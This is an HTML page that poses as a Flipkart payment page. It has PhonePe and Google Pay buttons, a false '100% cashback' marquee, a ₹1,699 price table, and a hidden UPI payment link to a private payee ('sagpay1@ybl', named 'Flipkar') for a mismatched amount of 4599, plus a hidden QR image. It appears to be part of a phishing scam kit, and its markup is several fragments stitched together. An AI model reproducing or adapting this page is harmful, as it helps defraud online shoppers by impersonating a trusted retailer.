<html>
<meta charset="UTF-8">
<title>Flipkart - Payment PAGE</title>
</head>
<body>
<style>
.paybutton {
width: 110px;
height: 110px;
box-shadow: 1px 1px 10px #8e8e8e;
border-radius: 39px;
float: left;
margin-right: 31px;
font-size: 16px;
margin-top: 10px;
}
a.w3-btn.w3-white.w3-border.w3-border-red.w3-round-large {
width: 150px;
}
.paybutton img {
width: 99px;
margin-top: 18px;
margin-left: 9px;
margin-right: auto;
border-radius: 200px;
float: left;
}
body {
padding: 0;
margin: 0;
}
a {}
span.teeeexxtttt {
text-align: center;
font-size: 9px;
padding-top: 42px;
margin-top: 10px;
line-height: 32px;
}
</style>
<table border="0" width="100%" bgcolor="#2873F0">
<tr>
<td><a href='../'> <img src="https://i.imgur.com/wfgiseR.jpg" width="100%"> </a> </td>
<td></td>
</tr>
</table>
<br>
<center><h2>Payment Option</h2></center>
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="http://www.w3schools.com/w3css/4/w3.css">
<body>
<div class="w3-container">
</div>
<table border="0" width="100%" bgcolor="#2873F0" class="card">
<td> <div class="paybutton"><a href="./1-3.html"> <img src="https://img.etimg.com/thumb/width-640,height-480,imgsize-156691,resizemode-1,msid-68163942/phonepe-partners-with-walmart-to-help-customers-pay-via-the-app-at-best-price-stores.jpg"></a> </div>
<div class="paybutton" style="display:block;"><a href="./2-3.html" width="9%"> <img src="https://www.fresherslive.com/assets-images/news/origin/2020/05/01/need-to-know-how-to-change-the-upi-pin-on-phone-through-payment-apps-like-googlepay-phonepe-and-paytm-here-is-the-step-by-step-method.jpg" style="
margin-top: 26px;
"></a> </div><div class="paybutton" style="display: none;" onclick="showImg()">
<img src="https://cdn.iconscout.com/icon/premium/png-512-thumb/qr-code-scan-4-991622.png" style="
/* margin-top: 37px; */
border-radius: 0;
width: 55px;
margin-left: 28px;
margin-top: 17px;
margin-right: 20px;
"><span class="teeeexxtttt">
UPI Scan and Pay</span> </div></td>
</table>
<table border="0" width="100%" bgcolor="#2873F0" class="card">
<td><marquee>Pay via Phonepe and get 100% cashback by flipkart. Get 100% cashback and Enjoy ! . </marquee>
</td>
<td style="display: none;"> <a href=upi://pay?pa=sagpay1@ybl&pn=Flipkar&cu=INR&am=4599 width="100%" class="w3-btn w3-white w3-border w3-border-red w3-round-large">Paytm / Google Pay</a></td>
</table>
<br>
<html>
<body>
</head>
<body>
<center><img id="map_img" src="qr/qr2999.jpg" style="display: none;" width="200" height="200" /></center>
<center><input type="hidden" class="w3-btn w3-white w3-border w3-border-red w3-round-large" id="Map" value="Scan & Pay" onclick="showImg()"/></center>
</body>
</html>
</body>
</html>
<br>
<!DOCTYPE html>
<html>
<head>
<style>
#customers {
font-family: "Trebuchet MS", Arial, Helvetica, sans-serif;
border-collapse: collapse;
width: 100%;
}
#customers td, #customers th {
border: 1px solid #ddd;
padding: 8px;
}
#customers tr:nth-child(even){background-color: #f2f2f2;}
#customers tr:hover {background-color: #ddd;}
#customers th {
padding-top: 12px;
padding-bottom: 12px;
text-align: left;
background-color: white;
color: black;
}
</style>
</head>
<body>
<table id="customers">
<tr>
<th>PRICE DETAILS</th>
<th></th>
</tr>
<tr>
<td>Price (1 item)</td>
<td>₹1,699</td>
</tr>
<tr>
<td>Delivery Charges</td>
<td>Free</td>
</tr>
<tr>
<td>Amount Payble</td>
<td>₹1,699</td>
</tr>
</tr>
</table>
</body>
</html>
<html>
<body>
<table border="0" width="100%" class="card">
<tr>
<td> <img src="https://i.imgur.com/aIrIu2Z.jpg" width="100%"> </td>
<td></td>
</tr>
</table>
</body>
</html>
<br>
<html>
<body>
<meta name="viewport" content="width=device-width, initial-scale=1">
<style>
* {
box-sizing: border-box;
}
body {
font-family: Arial, Helvetica, sans-serif;
}
.column {
float: center;
width: 40%;
padding: 0 10px;
}
.row {margin: 0 -5px;}
.row:after {
content: "";
display: table;
clear: both;
}
@media screen and (max-width: 600px) {
.column {
width: 100%;
display: block;
margin-bottom: 20px;
}
}
.card {
box-shadow: 0 4px 8px 0 rgba(0, 0, 0, 0.2);
padding: 16px;
text-align: center;
background-color: white;
}
</body>
</html>